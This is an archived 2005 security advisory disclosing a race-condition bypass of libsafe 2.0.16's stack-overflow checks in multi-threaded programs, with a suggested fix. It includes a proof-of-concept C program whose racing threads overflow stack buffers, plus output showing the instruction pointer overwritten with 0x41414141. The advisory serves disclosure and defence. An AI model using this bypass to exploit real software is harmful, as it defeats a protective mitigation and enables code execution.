OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
[Overflow.pl] Libsafe - Safety Check Bypass Vulnerability

From: Overflow.pl (advoverflow.pl)
Date: Fri Apr 15 2005 - 09:53:27 CDT


Overflow.pl Security Advisory #2

Libsafe - Safety Check Bypass Vulnerability

URL: http://www.overflow.pl/adv/libsafebypass.txt
Date: 04.05.2005

1. Background

Libsafe is a library that protect critical elements of stacks

http://www.research.avayalabs.com/project/libsafe/

2. Description

Attacker can bypass libsafe checking and exploit vulnerability witch is in
multi-threaded aplication.

As a example look at the code situated at the safe function strcpy():

char *strcpy(char *dest, const char *src)
{
    ...
    if (!real_strcpy)
      real_strcpy = (strcpy_t) getLibraryFunction("strcpy");
    ...
    if ((max_size = _libsafe_stackVariableP(dest)) == 0) {
      LOG(5, "strcpy(<heap var> , <src>)\n");
      return real_strcpy(dest, src);
    }
    ...
    if ((len = strnlen(src, max_size)) == max_size)
      _libsafe_die("Overflow caused by strcpy()");
    ...
    
Function _libsafe_stackVariableP() checked length beetwen buffor and stack
frame. It should return 0 only in case when address does not point to a stack
variable. Look at the function code:

uint _libsafe_stackVariableP(void *addr) {
    ...
    /*
     * If _libsafe_die() has been called, then we don't need to do anymore
     * libsafe checking.
     */
    if (dying)
      return 0;
    ...

Function _libsafe_die() is called then attack is detected, variable "dying" is
set and at least aplication is killed. In case of multi-threaded programs, it is
possible to make attack before the end of _libsafe_die(), during the time while
checking is not active.

3. Detection

Current libsafe version (2.0.16) is vulnerable.

4. FIX

Probably the code from function _libsafe_stackVariableP can be only deleted:

    if (dying)
      return 0;

5. PoC

#include <pthread.h>
#include <stdio.h>

int ok = 0;

void *func1(void *none)
{
        char buf[8];
        while(1)
        {
                if(!ok)
                        continue;
                strcpy(buf, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
                break;
        }
        puts("func1 overflow!");
}

void *func2(void *none)
{
        char buf[8];
        ok = 1;
        strcpy(buf, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
        puts("func2 overflow!!");
}

int main()
{
        pthread_t t1, t2;
        
        pthread_create(&t1, NULL, &func1, NULL);
        pthread_create(&t2, NULL, &func2, NULL);
        
        pthread_join(t1, NULL);
        pthread_join(t2, NULL);
        
        return 0;
}

bash-2.05b$ gcc -o thread thread.c -pthread

Normal state is:

bash-2.05b$ ./thread
Libsafe version 2.0.16
Detected an attempt to write across stack boundary.
Terminating /home/thread.
    uid=500 euid=500 pid=9235
Call stack:
    0x40019b1c /lib/libsafe.so.2.0.16
    0x40019c4b /lib/libsafe.so.2.0.16
    0x80484f5 /home/thread
    0x4002dc43 /lib/tls/libpthread-2.3.3.so
Overflow caused by strcpy()
Killed

But then we run program many times:

bash-2.05b$ ./thread
Libsafe version 2.0.16
Detected an attempt to write across stack boundary.
Terminating /home/thread.
    uid=500 euid=500 pid=9217
func1 overflow!
Call stack:
    0x40019b1c /lib/libsafe.so.2.0.16
    0x40019c4b /lib/libsafe.so.2.0.16
    0x80484f5 /home/thread
    0x4002dc43 /lib/tls/libpthread-2.3.3.so
Overflow caused by strcpy()
Segmentation fault (core dumped)

or ...

bash-2.05b$ ./thread
func1 overflow!
Segmentation fault (core dumped)

Core:

bash-2.05b$ gdb thread core.9254
...
#0 0x41414141 in ?? ()
(gdb)